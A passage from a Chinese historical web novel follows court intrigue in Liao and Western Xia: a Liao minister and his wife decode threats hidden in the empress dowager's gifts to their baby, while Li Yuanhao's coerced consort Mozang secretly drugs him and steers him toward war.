她的食指蘸着茶水,快速地勾勒出了几笔。不是字,而是一个简单的图案:半只飞燕,燕尾指向窗外。 又是当年的暗号——“虚与委蛇,等待时机”。 几乎在她画完最后一笔的同时,窗外檐角那串诡异晃动的鎏金铃,忽然停止了摆动,彻底寂然无声。 更漏滴答,不知不觉已过三响。 乳母与侍女们早已被打发出去。内室中只剩下一家三口,以及满案的“殊荣”。 耶律皓南展开随册宝同来的、长长的赏赐清单。他的目光缓慢地掠过那一行行令人眼花缭乱的名目,最后,指腹停在了“东海明珠十斛”旁一行蝇头小楷的朱批上。 那朱批写道:“着内府司能工精制郡主冠饰,图样需报永寿宫核准。” 永寿宫,萧太后寝宫。 “呵……”耶律皓南忽然低低地冷笑了一声。那笑声里没有丝毫温度,只有冰碴般的讥诮。“连珠钗的形制、花样,都要经内府司、最终报永寿宫核准……”他抬眼,看向杨排风,眼底是化不开的寒冰,“咱们这位太后娘娘,这是打算……亲手雕琢、一丝一缕地打造咱们女儿的命数啊。” 从食邑辖地,到冠服形制,事无巨细,皆在掌控。这不是恩宠,这是一张精心编织、温柔无比的网。 杨排风没有说话。她只是静静地拔下头上一根普通的银簪,走到那盛放明珠璎珞的锦匣旁,用簪尖轻巧地挑开了匣底铺垫的柔软衬绸。 衬绸之下,不是实心的木板。 而是露出了一小截冰冷的、泛着玄铁特有幽光的轮廓。那形状……赫然是半枚虎符! 能调遣幽州地界一部分守军的虎符!** 这代表兵权的信物,竟与代表荣宠的郡主册宝,同匣而至。是恩赏,更是警告,是诱饵,也是枷锁。 晨光终于艰难地透过浓云,为室内带来一丝惨白的亮色。耶律皓南将那卷被茶汤污损了关键字迹的赤金册,锁进了一只玄铁打造的小匣。那是他用来存放最机密文书的匣子。 杨排风抱着女儿凑近,怀中的婴孩不知愁为何物,伸出小手,好奇地拍打着冰冷的匣面,留下几个湿漉漉的、带着奶香的小小指印。 “瞧咱们的郡主,”杨排风笑声甜美,眼神却清冽如水,“天生就是爱摆弄这些金玉之物的富贵命呢。” 她借着俯身逗弄孩子、身体挡住窗外可能视线的角度,手指极快地一抹一塞,一枚蜡封的、米粒大小的丸药,已悄然滑入耶律皓南的袖袋。同时,她的唇几乎不动,气音低微:“赏赐的貂裘,夹层。” 那是昨夜她亲自检查赏赐物品时,从一件极品紫貂裘的夹层中剥出的密报,上面只有一行小字:“别院三百‘流民’,皆持南院新制军械。” 所谓“流民”,是近日出现在汤沐邑附近的不明身份者。而南院新制军械……从不外流。 檐下那串新悬的鎏金铃,在渐起的晨风中发出细碎的、不规则的撞击声,仿佛急切地想要听清室内的每一句对话。 耶律皓南俯身,从案几下拿出一个小小的、缀着彩穗的拨浪鼓,似是要系在女儿的摇篮上。当他的唇因为动作擦过杨排风耳际时,极低的声音送入她耳中:“太后赐下的那位医女,今早来请脉。说……女儿胎里带了些寒气,需用那百年老参为主药,配合独门针法,连续调理百日。” 杨排风正在系拨浪鼓绳子的手指,微不可察地滞了一瞬。 百日药浴针灸。看似关怀备至。可这百日里,婴孩最细微的体质变化、甚至……血脉特征,都将被太医署详细记录,掌握在永寿宫手中。 她没有抬头,只是手指灵巧地将拨浪鼓的绳子,绕成了一个复杂的如意结,声音平静:“百日……也好。正好让咱们郡主,也听听那医女会唱的民间小调,沾沾人间烟火气。”——百日,足够做很多事,也足够……看清很多人的用心。 就在这片温情下暗流涌动的静谧中,一阵风风火火的脚步声由远及近,伴随着少年清亮却含糊的抱怨,猛地撞破了内室的沉凝。 门帘“唰”地被撩开,凌霄子拎着一个明显圆润了一大圈、脸蛋红扑扑的少年,如一阵不羁的山风卷了进来。人还未站定,那爽朗却带着几分戏谑的嗓音已经响彻屋子:“哟!咱们的国师大人命够硬啊!李元昊那厮布下的天罗地网都没捞着你一根头发丝,看来阎王爷那儿的茶不够香!” 被他拎着的,正是刘朔。小少年明显比几个月前壮实了不少,个头也蹿了一截,此刻嘴里还叼着半只油光锃亮的烧鸡腿,两只手也是油汪汪的,狼狈却生机勃勃。凌霄子故作嫌弃地把他往耶律皓南怀里一搡,挤眉弄眼地凑到杨排风跟前,全然不顾一身风尘,低头去瞧她怀中的女婴。 “嘿!”他眼睛一亮,啧啧称奇,“这小丫头,眉是眉眼是眼的,清俊得很!像她娘,万幸万幸,没随了你爹那副天天绷着的棺材板脸!” 刘朔被塞了个满怀,好不容易把鸡腿拿下来,也不怕生,乌溜溜的眼睛先是好奇地瞅了瞅多出来的妹妹,然后转向耶律皓南,咽下嘴里的肉,含糊却响亮地冒出一句:“爹!我听说妹妹封了郡主,可威风了!那我将来是不是就是郡主的哥哥,能娶十个公主啦?” 话音未落,脑门上就挨了师父一记结结实实的脑崩儿。“臭小子!光想着娶公主!” 凌霄子骂骂咧咧,变戏法似的从怀里掏出一卷皱巴巴、边角还沾着油渍的账本,“啪”一声拍在那放着赤金册宝的紫檀案几上,震得那代表无上荣宠的金册都晃了晃。“先说正事!你这个当爹的,看看!赶紧看看!你宝贝儿子这几个月的‘抚养费’,赶紧给师叔我结一下!” 他揪着一脸无辜的刘朔的耳朵,对着耶律皓南痛心疾首地数落:“这胖小子!一顿能干掉五只烧鸡!三斤酱牛肉!还专挑好的吃!师叔我那点攒了半辈子的家底,眼看就要被他吃空了!你这国师府如今是鲜花着锦、烈火烹油,炭盆够旺了,再把这个小麻烦精、大饭桶搁在这儿,是嫌火烧得不够旺还是怎的?” 他的声音又急又快,眼神却在不经意掠过耶律皓南时,极快地、清晰地眨了一下。同时,揪着刘朔耳朵的手指,不轻不重地按了三下。** “得!”凌霄子一挥手,摆出一副“我吃亏大了”的模样,“师叔我就再吃点亏,把这小麻烦精带走,‘云游’几年,也算替你们省省心!” 云游。 耶律皓南的目光扫过那账本上歪歪扭扭画着的乌龟、烧鸡骨头图案,又落在师叔那张虽然嬉笑怒骂、眼底却藏不住深沉关切的脸上,心中霎时雪亮。 他看向杨排风,只见妻子凝视着正在师叔手下张牙舞爪抗议的儿子,眼底有不舍,有疼惜,但更多的是一种了然的、坚定的光。她对着他,微不可察地、轻轻点了下头。 她也懂了。 师叔哪里是真的怕被吃穷。他是看出了这国师府如今“鲜花着锦、烈火烹油”下的危机四伏。他是担心刘朔那随着年龄增长、愈发掩饰不住的“武曲星”命格,在这权力漩涡中心的盛京过于惹眼。他更怕,这满府的“殊荣”与“恩宠”,会让心性单纯、尚未懂得隐藏的朔儿,成为明枪暗箭的靶子,成为用以钳制他们夫妻的软肋。 这番“云游”,是锤炼,是教导,更是在这风雨欲来之时,能给予这孩子的、最周全也最无奈的保护。 “师父胡说!”刘朔挣扎着从耶律皓南怀里探出脑袋,脸蛋气得鼓鼓,像只发怒的小河豚,“我长大了肯定比爹还帅还厉害!爹都能骗到娘这么好看的娘子,我将来肯定也能……唔!” 话没说完,就被凌霄子眼疾手快地用手里剩下的半只烧鸡堵住了嘴。 “行啦行啦!废话少说,后会有期!”凌霄子嚷嚷着,一把拎起还在“呜呜”抗议的徒弟的后领,就像拎一只不听话的小兽,如他来时一般风风火火,转身就往外走。 “师傅你放我下来!我还没抱抱妹妹!爹!娘!”刘朔的叫嚷声渐渐远去。 凌霄子爽朗却带着几分刻意疏阔的笑声飘来:“抱什么抱!跟师父走江湖吃香的喝辣的去!” 声音很快消失在门外深沉的夜色里。来得突兀,走得匆忙,像一阵无法拘束的风。 内室重归宁静。案几上,那卷沾着油渍、画满王八的滑稽账本静静躺着,与旁边华贵的赤金册宝形成荒诞的对比。 耶律皓南缓步上前,默默地将那账本收起。账本最后一页,没有数字,没有王八。只有用烧过的炭条,匆匆画下的一幅小像:一个高大的男子背影挺拔,手中似乎执剑,将一名怀抱婴孩的女子护在身后。而在他们前方,一个矮胖些的身影叉腰而立,虽然线条粗陋抽象,但那昂首挺胸、面对着画面外,仿佛面对着无形危险的姿态,那毫不犹豫的守护之意,却跃然纸上。 画旁有一行更加潦草的小字,是凌霄子特有的狂放字体:“饭钱先欠着!带这小子见见世面去也!” 耶律皓南的指尖拂过那粗糙的画面,冰冷的眸底深处,有什么东西微微化开了。他知道,师叔带走的不仅是朔儿,更是在这场即将到来的、针对他们一家的风暴中,一份最大的软肋,也是一份……遥远的希望。 侍女们捧着各色赏赐的衣料,鱼贯而入,又鱼贯而出,谨慎而恭顺。 耶律皓南已恢复了平静,他正拿着那个小小的拨浪鼓,轻柔地系在女儿的摇篮边缘。“咚咚、咚咚……”清脆的鼓声在室内响起,带着一种稚嫩的生机。 在这单调却让人心安的鼓声中,他看见杨排风借着俯身为女儿整理衣襟的机会,手指极快地在那盛放百年老参的锦匣某个隐秘的角落一抹——一小滴温热的烛泪被她巧妙地点在了匣子内壁一个极小的机括缝隙处,将其悄然封死。那里面,或许藏着不该有的东西。 “待师叔携朔儿游历归来,”杨排风直起身,突然提高了些声量,语气轻快,“便用太后赏的这匹上好红罗,给咱们郡主裁件迎春的小袄,定是喜气。” 她的手指,状似无意地在“春”字上,重重地、微不可察地顿了一下。 ——“寅时破局”。这是凌霄子方才揪刘朔耳朵时,那三下按压所传递的、约定好的暗号。** 窗外,天光终于刺透了浓厚的云层,明亮却不带多少暖意的光线投射进来,恰好映亮了案几上另一卷与册宝同来的《郡主仪制》。 耶律皓南目光落在其中一页。那上面写着:“郡主年满五岁,须入宫随女官习礼,以彰天家仪范。” 而在这行字的旁边,一道清晰的朱笔批注赫然在目:“安宁郡主体弱,特许居永寿宫偏殿,便于照拂。” 永寿宫偏殿。那是紧邻萧太后寝宫的地方。 耶律皓南忽然轻笑了一声。那笑声不大,却带着一种冰雪撞击般的清脆与冷冽。他伸出手指,指尖掠过摇篮中女儿那细软如绒羽的胎发。 “排风,”他的声音很轻,像是怕惊扰了什么,目光却落在那卷《郡主仪制》上,“你看这条规……像不像当年,先帝用来困死荣郡王一家的那道‘恩典’?” 荣郡王,昔日有贤名的皇子,就是因为“体弱”被特许携家眷入宫“调养”,从此再未踏出宫门一步,最终一家“病逝”深宫。 杨排风的手臂收紧了些,将女儿更牢地抱在怀中。她没有说话,只是静静地看着他。 耶律皓南俯身,在女儿柔软的、散发着奶香的发顶,落下一个轻如羽毛的吻。再抬眼时,那双深邃的眼眸中,所有的冰冷与讥诮都沉淀了下去,取而代之的,是一种磐石般的、斩钉截铁的坚定。 “可惜。”他的唇角勾起一抹极淡的、却锋利如刃的弧度,“太后娘娘大概是忘了。” “咱们的女儿……”他的声音低沉下去,却字字清晰,“身上流着一半……北汉烈皇后的血。” “我们北汉的人……”他的目光投向窗外渐亮的天光,那光线落在他挺直的鼻梁上,投下一小片坚毅的阴影,“最擅长的,就是……” “拆锁。” 最后两个字,轻得几乎听不见,却像是两颗冰钉,狠狠楔入了这满室华贵却令人窒息的“恩典”之中。 摇篮边,拨浪鼓还在因着微风轻轻摇晃,发出单调而顽强的“咚咚”声,仿佛一颗小小的、不肯屈服的心脏,在这精心布置的华美牢笼里,执拗地跳动着。 18. 山雨欲来风满楼 兴庆府的深宫,夜如浓墨泼洒。巨大的牛油烛在鎏金烛台上燃烧,火苗不安地跳动着,将李元昊高大却因怒气而微微佝偻的身影,拉长、扭曲、撕裂,投射在绘满狰狞西夏狼首与战神图腾的玄色墙壁上,仿佛无数躁动的鬼魅在暗处起舞。 没藏氏就坐在那片扭曲的阴影边缘。她身上那件月白色的对襟襦裙,质地、款式、乃至袖口一道不易察觉的缠枝莲暗纹,都与顾小怜生前最爱的那件一模一样。衣料是江南最好的软烟罗,贴在皮肤上却冰冷如蛇蜕。她僵直地坐在铺满雪白狼皮的王座旁侧锦墩上,背脊挺得发酸,指尖深深掐入掌心柔嫩的皮肉,用那锐利的疼痛提醒自己保持清醒,保持……这副“顾小怜”应有的、清冷而略带忧郁的姿态。 李元昊背对着她,手中执一把黄金小剪,正对着案头一叠素白的绢纸。他的动作看似专注,甚至带着一种奇异的温柔,“咔嚓、咔嚓……”将那些绢纸精细地剪成一只只纤薄的蝶形。 纸蝶纷扬落下,在昏黄的烛光中打着旋。几片沾在了没藏氏纹丝不动的鸦黑鬓角,更多的,则覆盖在她因为极力控制而微微颤抖的膝头,像一场苍白的、无声的祭奠。 “小姐……” 他忽然转身,俯下庞大的身躯。带着薄茧的、沾着朱砂与墨渍的指尖,轻柔地、却不容拒绝地抚上没藏氏的颈侧。在那里,一颗小小的,颜色极淡的褐色小痣,在苍白的皮肤上格外醒目。 “你看这些蝶……”他的声音低沉,眼神迷离,仿佛透过她看向某个不存在的虚空,“像不像……金雪山那年,春猎归来,你为朕……亲手别在鬓边的那只活蝶?翅膀也是这么颤着,仿佛一碰就碎……” 没藏氏喉咙发紧,所有的血液似乎都冲向了头顶,又在那冰冷的触感下凝固。她垂下眼,目光死死盯着自己月白裙裾上,因为恐惧而不断扩散的、颜色渐深的汗渍。那形状,像一滩正在蔓延的血。 她想起三日前。只因为一句情急之下脱口而出的“奴不是顾娘子”,她的手腕就被这只此刻抚摸着她颈项的手,铁钳般攥住,留下一圈深紫近黑的淤痕,至今未消。 此刻,她连呼吸都放得极轻,极缓,生怕一丝不慎的气流,就会惊破眼前这疯王编织的、脆弱而危险的幻梦。 “说话!” 暴怒的低吼炸响!李元昊猛地伸手,一把攥住她纤细的下颌,铁箍般的力道几乎要捏碎她的骨头,强迫她抬起头,迎向他那双因为亢奋与某种难言的痛苦而布满血丝的眼睛。“骂朕!骂朕痴心妄想!骂朕逼你穿这身该死的衣裳!像她当年那样!” 没藏氏瞳孔骤然缩紧,眼中不可抑制地涌上真实的、动物般的惊惧。那不是演技。 看着她这副模样,李元昊竟然低低地、愉快地笑了起来,笑声在空荡的殿内回荡,说不出的诡异。他松开钳制她下颌的手,转而用指腹,极尽温柔地摩挲着她因为疼痛和恐惧而微微颤抖的下唇。 “对……就是这样……”他痴迷地看着她,“连惧怕时,眼神缩成一点、嘴唇发白的模样……都像极了她……” 像极了那个被他逼到绝路、最终在他面前引剑自刎的女人。 窗外,忽然传来一阵急促的战马嘶鸣,混杂着金铁交击与士卒的呼喝,由远及近,打破了宫廷深夜的死寂。 李元昊眸中所有的迷离与痴态瞬间褪去,取而代之的是鹰隼般的锐利与冰寒。他猛地转身,广袖一挥,将案头剩余的纸蝶连同那把金剪一同扫向殿角高高的青铜蟠螭灯树! “轰——” 沾满灯油的纸蝶遇火即燃,火苗骤然窜起数尺,将半边殿宇映得一片通明,也映亮了李元昊眼底那狰狞的、疯狂燃烧的血丝与恨意。 “既然你不肯认……”他盯着那熊熊火光,声音嘶哑如砂石摩擦,“朕便烧!烧出个尸山血海,烧出个天崩地裂!朕倒要看看,在这样的修罗场上,她的魂……肯不肯现形!” 他大步走到殿中央,拔出腰间镶满宝石的镶金匕首,“夺”的一声,将一卷摊开的羊皮舆图狠狠钉在了蟠龙金柱之上!匕首锋利的尖端,不偏不倚,正正穿透了舆图上标注着宋境“渭州”二字的地方! 他转身,一把扯过瘫坐在地、神情恍惚的没藏氏,不顾她的惊呼,抓着她冰凉颤抖的手,强行按在了那被匕首钉穿的舆图上! 粘腻尚未完全干涸的朱砂印痕,瞬间蹭满了她柔嫩的掌心,猩红刺目,如同鲜血。 “听闻……”李元昊俯身,灼热的、带着酒气与疯狂的呼吸喷在她耳际,“宋军近日频繁调动边将,在渭水一线集结……” “待朕擒了他们的统帅,把他的头颅,用盐腌好,挂在你窗前那串你最喜爱的金铃下……”他的声音压得极低,如同情人间的呢喃,内容却令人毛骨悚然,“让风吹着,日日夜夜为你奏响……阿姊,你可会……开心些?” 没藏氏最后一丝力气仿佛也被抽干,身体彻底瘫软下去,撞翻了身侧一只盛着葡萄美酒的金樽。冰凉粘腻的暗红色酒液倾泻而出,迅速浸透了她月白的裙摆,在光洁的金砖地面上洇开一大片触目惊心的暗红,如同一滩正在蔓延的、陈年的血迹。 她抬起朦胧的泪眼,看见李元昊弯下腰,从狼藉的地面上,拾起一盏刚才被他扫落、灯罩已经摔裂的宫灯。 他的手指,轻轻抚过灯罩上残存的、用金丝掐出的蝴蝶纹路,动作温柔得近乎诡异。“当年……她提着这盏灯,在宫门前送朕出征……”他的声音忽然变得飘忽,“她说……‘若你此去,能涤荡天下,平安归来……我便认输,认了这命’……” 话音未落,他脸上所有的温柔与追忆骤然撕裂! “锵!” 腰间佩剑出鞘,寒光一闪,那盏破碎宫灯下悬挂的、已经褪色的明黄灯穗,被齐根斩断! “传令!”李元昊持剑而立,对着空荡的殿门厉声暴喝,声音如同滚雷,震得梁上灰尘簌簌而落,“传令野利遇乞!” “点兵十万!” “三日后,南征!” “朕要渭水之上,漂满宋人的破旗!漂满他们的尸骸!” 五年光阴,如同兴庆府外永不停歇的风沙,能磨平石碑的棱角,亦能在人心上刻下深不见底的沟壑。 暮色再次降临兴庆宫。烛火依旧摇曳,只是执烛人与对烛影的心境,已悄然翻覆。 李元昊坐在御案后,手执朱笔,批阅着堆积如山的军报。他的目光时而锐利,时而阴沉,但更多的时候,会长久地胶着在殿角——那里,没藏氏正俯身,就着一盏玲珑的水晶灯,安静地刺绣。 她今日梳了顾小怜生前最爱的惊鹄髻,发间点缀着珍珠,身上月白的裙裾,腰间系着一枚小巧的、已有些暗哑的银铃。——那是六年前,顾小怜在他面前自刎时,从腕间跌落、被他疯狂搜寻多年才找回的旧物。此刻,这枚银铃随着没藏氏引针走线的细微动作,发出极其轻微的、“叮铃”的脆响。那声音,经过岁月的浸染,竟与李元昊记忆深处,顾小怜行走时环佩叮当的音色……浑然相合。 “小怜……” 他忽然掷笔。染着未干朱砂墨的指尖,带着一种急切的、需要确认的渴望,抚上没藏氏低垂的颈侧。在那里,衣领微敞处,露出一道新鲜的、泛着暗红的啮咬痕迹——那是他昨夜情动癫狂时留下的。 而这位置,与当年顾小怜拒绝饮下他所赐毒酒、挣扎间被金簪划伤颈侧所留的旧疤……完全重合。 “待朕……”他的呼吸变得粗重,眼中燃烧着混合了征服欲与病态满足的火焰,“踏破汴京,擒了赵宋天子……朕便用他的颅骨,为你铸一只天下独一无二的酒盅……每日用它饮酒,便如同啜饮仇敌之血……” 没藏氏捻着金线的手指,几不可察地微微一顿。银针的针尖,在洁白的绢帛上流畅地游走,勾勒出的,却不是花鸟,而是一幅极其精细的、标注着山川走向与隘口的——阴山某处要道地形图。 “陛下天威,自然所向披靡。”她的声线放得极轻,柔软如同春日柳絮,拂过人心最痒处,“只是……若欲取延州,妾听闻,野利遇乞将军旧部,对那一带地形最是熟悉,且深恨宋人,若遣为前锋,定能建奇功。” 她抬起眼,眸光依旧柔顺,眼底深处,却凝着一层化不开的、万年寒冰般的冷意。——野利遇乞,她的亡夫,当年西夏名将,正是被眼前这个疯王猜忌,寻了个由头,亲手下令诛杀! 听到“野利遇乞旧部”几个字,李元昊的瞳孔骤然一亮,不是因为战术,而是因为某种更阴暗的兴奋。他自然知道没藏氏与野利家的关系,但她如此“识大体”地主动提及,甚至推荐仇人旧部去打最凶险的头阵……这种“为了朕的大业不惜一切”的姿态,与记忆中那个曾为了家国与他抗争的顾小怜,何其相似,又何其……取悦于他! “只是……”没藏氏话锋一转,眉尖微蹙,露出一丝恰到好处的忧虑,“近日边报提及,辽人似乎在我们与宋境接壤的那一侧,悄然增兵了三千……虽不多,但其意难测,恐怕……会碍了陛下的大计。” “增兵?”李元昊眉头一拧,随即却是一声狂放的大笑,“好!来得好!” 他挥袖一扫,将御案上另一卷更大的、标注着辽夏边境详情的羊皮舆图扫落在地!羊皮卷滚动着,恰好停在没藏氏脚边。 她顺从地俯身去拾。广袖垂落,遮住了手部的动作。在拾起舆图的瞬间,她的食指指尖,借着袖子的掩护,在舆图上某个标注着辽军屯田区的位置,用藏在指缝的细针,极快地、不留痕迹地刺了一个肉眼难辨的小孔。 ——那里,正驻扎着她的亲兄长,如今掌握西夏部分兵权的没藏讹庞的私兵。 “怕什么?”李元昊大步走来,一把扳过她的下颌,眼中是毫不掩饰的嗜血与嚣张,“明日!朕便调铁鹞子精锐,踏平那辽营!看看是他们的皮厚,还是朕的马刀利!” 没藏氏的指尖,在宽大的袖中,死死绞紧了一枚贴身藏着的、温润却冰凉的玉佩。那是野利遇乞的遗物。 她抬起脸,脸上所有的冰冷与算计瞬间褪去,浮起一层顾小怜惯有的、带着几分嗔怪与野性的笑意,眼波流转:“既是为陛下涤荡障碍,那……妾可得先向陛下讨个赏。” “哦?”李元昊兴味盎然。 “若是拿下延州……”她的手指,似有若无地划过他的胸膛,“那里的盐税,每年抽出三成,充作陛下的私库军资,可好?也算……妾为陛下分忧了。” “哈哈哈!好!都给你!”李元昊欣然应允,将她揽入怀中,“小怜如今,也知道为朕操心这些了……” 十日后。 边关急报与辽国措辞严厉的问罪国书,几乎同时送抵兴庆府。 御案上,一份关于辽国兴平公主在西夏“暴毙”的密函尚未拆阅,下面便压着一份字迹潦草、边角沾着黑红血渍的战报。 野利遇乞残存的那支最精锐的旧部,奉命作为前锋突袭辽军边境营地。然而,他们根据“截获”的辽军布防图(实则经过没藏讹庞的人“精心调整”)深入敌后,却一头撞进了辽军精心设置的包围圈。激战一日夜,全军覆没,无一生还。 “好!死得好!” 李元昊攥着那份染血的战报,不是震怒,反而纵声狂笑,笑得眼泪都快出来。“野利族!哈哈哈!这下,野利族最后一点能打的血脉,也断送了!再无人能碍你的眼了,小怜!”** 他转向静立一旁的没藏氏,眼中是混合着征服与讨好的光。 没藏氏心中冰冷一片,脸上却适时地露出一丝哀戚与忧虑。她知道,戏还没完。 果然,李元昊笑声骤止,眉头阴鸷地蹙起:“只是……讹庞是怎么回事?他传回的军情,竟有如此大的疏漏?致使我军精锐误入死地……” 话音未落,没藏氏倏然跪倒在地! 她不是跪在冰冷的地面,而是膝行两步,用双手捧起李元昊沾着泥污与血渍的战靴,将其轻轻贴在自己光洁的额前。这是西夏奴仆对主人最高的敬礼。 “陛下明鉴!”她的声音带着压抑的颤抖与哭腔,“兄长他……绝非疏漏!他正是洞悉了野利族残部中有人心怀怨望,暗通辽寇,意图阵前倒戈,坏陛下大事!” “为助陛下彻底肃清这野利余孽,永绝后患,兄长他……不得不行此险招,甘担‘谎报军情’的污名,以自污之身,为陛下铲除隐患啊!”** 说着,她抬起头。晶莹的泪珠恰在此时滑落,不偏不倚,正正滴在李元昊摊开的掌心——那里,有一道陈年的、狰狞的旧疤。正是当年顾小怜夺剑自刎时,锋利的剑刃在他奋力夺剑的虎口处留下的划痕。 温热的泪滴,落在冰冷的疤痕上。 李元昊浑身剧烈地一颤!呼吸骤然变得急促。那眼神,仿佛穿越了时空,看到了当年那个决绝的女子倒在血泊中,看到她最后一滴泪滑落的模样……与眼前这张泪眼朦胧的脸,完全重叠。 “若她……在天有灵……”没藏氏哽咽着,声音低如蚊蚋,却字字敲在李元昊最疯狂的心弦上,“定会……欣慰陛下如此用心,为她涤荡廷堂,清除一切……不忠不义之徒……” 李元昊的指腹,贪婪地、痴迷地摩挲着她脸颊上的泪痕,眼中的疯狂与占有欲达到了顶点。“小怜……”他喃喃,“你如今……连落泪时,泪珠滑落的弧度……都与从前一般无二……”** 当夜,宫宴。 丝竹喧天,酒肉糜烂。李元昊当着辽国使团正使的面,将那份关于兴平公主“暴毙”的讣告文书,轻蔑地掷入殿中熊熊燃烧的巨大鎏金火盆。 “嗤——”羊皮与绢帛遇火即燃,烈焰腾空而起,映亮了他那张因酒意与杀意而狰狞的脸。 他伸手,一把揽过身侧盛装的没藏氏的腰肢,将嘴唇凑到她耳边,咬着牙,声音却带着一种残忍的兴奋:“看见了吗?朕已传令……屠尽这批辽使!用他们的人头祭旗!” “你的封后大典……”他的舌尖舔过她冰凉的耳垂,“该用契丹人的鲜血……染红地毯,才够盛大,才配得上你!” 没藏氏依偎在他怀中,执起案上一只赤金酒壶,为他斟酒。她的杏眼倒映着盆中烈火,跳动着妖异如鬼魅的光芒。 “陛下……莫急……”她的声音柔得能滴出水来,羊脂玉般的手指,却沿着他的喉结,缓缓向下划去,带着挑逗,更带着某种无形的牵引。“待踏破辽国上京,擒了那萧太后……用她的九尾金凤冠,改作妾的梳妆匣……岂不是更妙?” 说着,壶中殷红如血的鹿血酒,泻入鎏金酒杯。在酒液将满未满的瞬间,她尾指的指甲,极其隐蔽地在杯沿内侧一弹——一粒米粒大小、遇热即化的灰色药末,无声地溶入了那猩红的酒液之中。 那是产自羌地深山的一种罕见草药提炼物,无色无味,短期服用可致人精神亢奋、幻觉频生;长期累积……则能慢慢蚀空神智,让人永堕疯癫幻境。 殿外,忽然传来一阵急促的骚动与兵刃撞击之声! 一名亲卫满脸是血,踉跄扑入殿中,嘶声急报:“陛下!不好了!野利族遗孤数十人,纠集旧部,夜闯宫门!高呼……高呼清君侧,诛妖妃!” “哐当!” 李元昊暴怒,一脚踢翻面前案几,抽出佩刀就要往外冲! 没藏氏却伸出柔荑,轻轻按在了他握刀的手背上。力道不大,却带着一种奇异的、让人镇定的力量。 “何须……陛下亲往?”她转身,对着那惊惶的侍卫,脸上柔媚的笑意未变,声音却陡然转厉,带着一股冰冷的杀伐之气,“没藏将军何在?”** “传本宫口谕!” “逆党扰了陛下酒兴,就地——格杀!” 侍卫领命而去。殿外的喊杀声与惨叫声很快便稀疏下去,最终归于死寂。只有浓重的血腥气,随着夜风,丝丝缕缕地飘入殿中。 月光穿透精致的窗棂,在没藏氏华丽的裙裾上投下纵横交错的、蛛网般的阴影。她转回身,脸上重新绽开甜美的笑容,用纤指拈起一颗晶莹的葡萄,喂到李元昊唇边。** “陛下,尝尝这葡萄,甜得很呢。” 她的指尖,不小心被葡萄破裂的汁液染红。那鲜红的汁液顺着她雪白的手指蜿蜒而下,在烛光下,恍惚间,与记忆深处某个可怕的画面重叠—— 六年前,就在这座宫殿不远处的偏殿,顾小怜夺剑自刎,温热的鲜血喷溅而出,在梁柱上、在地面上、在李元昊疯狂伸出却徒劳抓握的手掌上……也是这般触目惊心的鲜红。 辽国上京,皇城。 九重汉白玉阶如同一条沉睡的巨大蛟龙,在暮色苍茫中静静匍匐,反射着天边最后一缕惨淡的余晖。朔风如刀,呼啸着卷过空旷的广场,将耶律皓南身上那袭代表国师与帝师双重荣宠的玄色蟒袍广袖,吹得猎猎作响,仿佛一面即将征战的旌旗。 他驻足,指尖抚过玉阶旁一尊巨大石狮额前一道深刻的裂痕。那是多年前,年幼的耶律宗真初登帝位时,一位心怀不满的宗室元老,当众以佩剑劈砍石狮,留下的所谓“警世痕”,意在警告幼帝与辅政的萧太后:皇权如磐石,亦有裂痕,当时时警惕。 此刻,残阳如血,恰好映照在那道深刻的裂痕之上,将其染成一种诡异的、流动的猩红,宛如舆图上辽夏边境那条因为连年摩擦与血战而不断改变颜色、蜿蜒曲折的朱砂标记。** 大帐西暖阁内,气氛却与外间的肃杀寒风截然不同,是一种更加凝重压抑的、无形的紧绷。 年轻的辽帝耶律宗真端坐御案之后,手中一支狼毫朱笔,正在一卷摊开的《孙子兵法》绢帛上缓缓移动。笔锋停在“攻城为下,攻心为上”的“攻城为下”四字上,用力圈点。然而,那笔锋之下蕴含的力道与躁意,却险些划破了柔韧的绢帛。 “国师!”年轻帝王抬起头,目光如同淬火的匕首,直刺静立于御案前数步之外的耶律皓南,“李元昊敢纵容兴平公主在他西夏‘暴毙’,连一具囫囵尸首、一句像样交代都不给!这便是视我大辽如无物!视朕这个辽国之主如无物!” 话音未落,他手中朱笔猛地一顿,一大滴饱满的朱砂墨汁脱离笔尖,坠落在绢帛之上,正好砸在“不战而屈人之兵”的“屈”字上,墨汁迅速氤氲开来,化作一团狰狞的、仿佛正在挣扎的墨色蜘蛛。 耶律皓南神色不变,缓步上前,伸手取过御案一角一根用以拨弄灯芯的银簪。他的动作从容不迫,就着跳动的烛火,将那有些暗淡的烛芯轻轻拨亮。 青白色的烛光骤然跃动,流转的光晕恰好覆盖了那团刺目的墨渍。与此同时,一滴滚烫的烛泪恰好滴落,不偏不倚,凝结在那“墨蜘蛛”的中心,将其暂时“封存”。 “陛下可知……”他开口,声音平稳如同深潭,不起波澜,“北宋庆历元年,宋夏澶渊之盟后,宋廷为求边境安宁,岁赐西夏银绢茶叶。” “然而,”他的目光扫过御案一侧摊开的巨幅边境舆图,“这些岁赐,非但未能满足李元昊的贪婪,反倒成了他扩军备战的资本。他用宋人的银绢,筑起了横山险要处的九座坚固寨堡,成为插在宋夏边境的一把利刃,至今令宋人如鲠在喉。” 他展袖,广袖如云,拂过那幅详尽的舆图,最终,食指指尖稳稳点在了舆图上标注着“西夏兴庆府”的位置。 “萧太后主政十年,对外以和为贵,韬光养晦。”他的声音不高,却字字清晰,敲在年轻帝王的心头,“换来的,是我辽军铁骑得以休养生息,兵甲更利,马匹更肥。而西夏,”他的指尖在兴庆府上轻轻一叩,“李元昊近年愈发暴虐多疑,诛杀功臣,宠幸妖妃(没藏氏),国中贵族离心,内乱已生苗头。” “此时此刻,陛下若因一时之愤,贸然兴大军讨伐,岂非正中李元昊下怀?他正可借外战之机,转移国内矛盾,凝聚人心。而我大辽,则可能深陷战局,耗费国力,徒然为他人作嫁衣裳,重蹈……当年宋人之覆辙。” “太后自然能等!” 年轻的帝王骤然掷笔!上好的狼毫朱笔在光洁的金砖地面上弹跳了几下,滚到一边。镶嵌着玉虎的沉重镇纸,因为他猛烈的动作而震翻了一旁的蟠龙端砚,浓黑的墨汁泼洒出来,污了半幅舆图。 “她自然可以坐在永福宫里,慢慢地等!等李元昊老死!等西夏自行崩乱!”耶律宗真的声音因为极力压抑的怒火而微微颤抖,“可朕的皇姐!兴平!她的尸骨还未寒!她是为了大辽嫁去西夏的!如今死得不明不白,朕这个做弟弟的,做皇帝的,若连为她讨个公道的血性都没有,天下人如何看朕?史笔如何书朕?” 